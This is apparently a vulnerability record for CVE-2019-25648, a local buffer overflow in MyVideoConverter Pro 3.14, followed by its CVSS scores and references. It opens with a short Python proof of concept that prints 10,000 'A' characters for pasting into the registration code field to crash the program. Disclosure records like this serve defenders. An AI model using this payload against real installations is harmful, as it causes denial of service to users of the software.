CVE-2019-25648

# Proof of Concept for CVE-2019-25648 # Description: Generates a 10000-byte payload to trigger the buffer overflow. # Usage: Copy the output and paste it into the 'Copy and Paste Registration Code' field. def generate_payload(): # Creating a payload of 10000 'A' characters payload = "A" * 10000 return payload if __name__ == "__main__": print("[+] Generating payload for CVE-2019-25648...") print(generate_payload())

{"cve": {"id": "CVE-2019-25648", "sourceIdentifier": "[email protected]", "published": "2026-03-26T14:16:06.273", "lastModified": "2026-05-01T15:23:27.150", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyVideoConverter Pro 3.14 contains a local buffer overflow vulnerability that allows attackers to crash the application by supplying an excessively long string to the registration code input field. Attackers can paste a malicious payload containing 10000 bytes into the 'Copy and Paste Registration Code' field to trigger a denial of service condition."}, {"lang": "es", "value": "MyVideoConverter Pro 3.14 contiene una vulnerabilidad local de desbordamiento de búfer que permite a los atacantes bloquear la aplicación al proporcionar una cadena excesivamente larga al campo de entrada del código de registro. Los atacantes pueden pegar una carga útil maliciosa que contenga 10000 bytes en el campo 'Copy and Paste Registration Code' para desencadenar una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "http://www.ivideogo.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46309", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/myvideoconverter-pro-denial-of-service-buffer-overflow", "source": "[email protected]"}]}}